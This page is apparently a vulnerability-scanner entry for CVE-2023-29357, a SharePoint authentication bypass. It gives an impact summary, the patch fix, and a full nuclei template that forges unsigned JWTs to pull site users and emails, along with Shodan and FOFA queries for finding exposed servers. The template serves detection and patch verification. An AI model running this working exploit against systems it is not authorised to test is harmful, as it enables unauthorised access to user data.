Microsoft SharePoint - Authentication Bypass

Exploited in the wild. Listed by CISA on 2024-01-10; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Microsoft SharePoint Server Elevation of Privilege Vulnerability

Impact

Unauthenticated attackers can bypass authentication by forging JWT tokens with "none" algorithm to access SharePoint Server APIs, potentially gaining elevated privileges and accessing sensitive documents, user information, and SharePoint site configurations.

Fix

Apply Microsoft security patches from MSRC update guide CVE-2023-29357 that properly validates JWT token signatures and prevents authentication bypass in SharePoint Server.

How to confirm it

Send: GET /_api/web/siteusers
Positive when: contains in body_2 "LoginName" and "Email" and "IsSiteAdmin"

Run it with nuclei: nuclei -id CVE-2023-29357 -u <target>

The full check

id: CVE-2023-29357

info:
  name: Microsoft SharePoint - Authentication Bypass
  author: pdteam
  severity: critical
  description: |
    Microsoft SharePoint Server Elevation of Privilege Vulnerability
  impact: |
    Unauthenticated attackers can bypass authentication by forging JWT tokens with "none" algorithm to access SharePoint Server APIs, potentially gaining elevated privileges and accessing sensitive documents, user information, and SharePoint site configurations.
  remediation: |
    Apply Microsoft security patches from MSRC update guide CVE-2023-29357 that properly validates JWT token signatures and prevents authentication bypass in SharePoint Server.
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29357
    - https://srcincite.io/advisories/src-2020-0022/
    - https://github.com/Chocapikk/CVE-2023-29357
    - https://sec.vnpt.vn/2023/08/phan-tich-cve-2023-29357-microsoft-sharepoint-validatetokenissuer-authentication-bypass-vulnerability/
    - https://starlabs.sg/blog/2023/09-sharepoint-pre-auth-rce-chain/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-29357
    epss-score: 0.99984
    epss-percentile: 0.99982
    cpe: cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: microsoft
    product: sharepoint_server
    shodan-query:
      - http.headers_hash:-1968878704
      - cpe:"cpe:2.3:a:microsoft:sharepoint_server"
    fofa-query:
      - app="Microsoft-SharePoint"
      - app="microsoft-sharepoint"
  tags: cve,cve2023,microsoft,sharepoint_server,kev,vkev,vuln
variables:
  client_id: "00000003-0000-0ff1-ce00-000000000000"

http:
  - raw:
      - |
        GET /_api/web/siteusers HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer
      - |
        GET /_api/web/siteusers HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Authorization: Bearer {{generate_jwt("{\"aud\":\"{{client_id}}@{{realm}}\",\"iss\":\"{{client_id}}\",\"nbf\":1695987703,\"exp\":2011547223,\"ver\":\"hashedprooftoken\",\"nameid\":\"{{client_id}}@{{realm}}\",\"endpointurl\":\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\":1,\"isloopback\":true}","none")}}AAA
        X-PROOF_TOKEN: {{generate_jwt("{\"aud\":\"{{client_id}}@{{realm}}\",\"iss\":\"{{client_id}}\",\"nbf\":1695987703,\"exp\":2011547223,\"ver\":\"hashedprooftoken\",\"nameid\":\"{{client_id}}@{{realm}}\",\"endpointurl\":\"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\":1,\"isloopback\":true}","none")}}AAA

    extractors:
      - type: regex
        part: header
        group: 1
        name: realm
        regex:
          - realm="([^"]*)"
        internal: true

      - type: json
        json:
          - .value[].Email
    matchers:
      - type: word
        part: body_2
        words:
          - LoginName
          - Email
          - IsSiteAdmin
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from